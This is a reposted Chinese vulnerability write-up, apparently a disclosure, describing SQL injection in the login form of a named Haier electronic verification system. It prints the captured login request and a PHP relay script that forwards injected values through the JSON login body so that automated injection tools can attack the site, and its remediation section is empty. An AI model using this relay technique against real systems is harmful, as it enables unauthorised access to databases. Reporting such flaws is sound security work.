网站地图    收藏   

主页 > 后端 > 网站安全 >

海尔集团某重要系统很有姿势的SQL注射 - 网站安

来源:自学PHP网    时间:2015-04-17 10:15 作者: 阅读:

[导读] 系统地址:http: evs haier net easp uiloader login html海尔电子核销系统在登陆的时候,用单引号登陆,就报错了本来以为会很简单,用一般的post注入就搞定。但是我还是太傻太天真,抓到包的...

系统地址:http://evs.haier.net/easp/uiloader/login.html海尔电子核销系统
 
在登陆的时候,用单引号登陆,就报错了
 
本来以为会很简单,用一般的post注入就搞定。
 
 
但是我还是太傻太天真,抓到包的那一刻我眼泪掉下来。
 
POST http://evs.haier.net/easp/uiloader/$/ssb/uiloader/ssoLoginMgt/login.ssm HTTP/1.1
Accept: */*
Referer: http://evs.haier.net/easp/uiloader/login.html
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
Host: evs.haier.net
Content-Length: 40
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: JSESSIONID=2kpTSFLPRmJ2Fn1CYrJlD1GJjhmpVG8knMRSyMzkLRDpFM40t6L2!-881110793; cctUserId=admin; cctLocale=zh

[{"userId":"admin","password":"123456"}]

 

传递出去的参数是这样的啊,[{"userId":"admin","password":"123456"}],SQLmap和其他的工具根本就不认啊。但是这明显就是注入啊?
 
 
 
只能无奈,写一个中转php文件,大爱小学生。
 
<?php
if (empty($_GET['id'])){
echo "vip.php?id=z7ysbsbsb";
}else{
$id=$_GET['id'];
$post_data="[{\"userId\":\"$id\",\"password\":\"123456\"}]"; $url='http://evs.haier.net/easp/uiloader/$/ssb/uiloader/ssoLoginMgt/login.ssm';
$ch = curl_init();
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
ob_start();
curl_exec($ch);
$result = ob_get_contents() ;
ob_end_clean();
echo $result;
}
?>

 

这里get的ID来替换掉post里面的userid参数,来实现注入。
 
本地访问下看看。
 
恩,看样子是问题不大了。
 
这里由于是中转注射了,本地是win的环境和php,可能检测出来跟服务器有差别。
但是呢,数据是跑不掉的。
 




 
over。 
 

 
修复方案:


注入啊注入,老是在登陆框~伤了心。
 

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论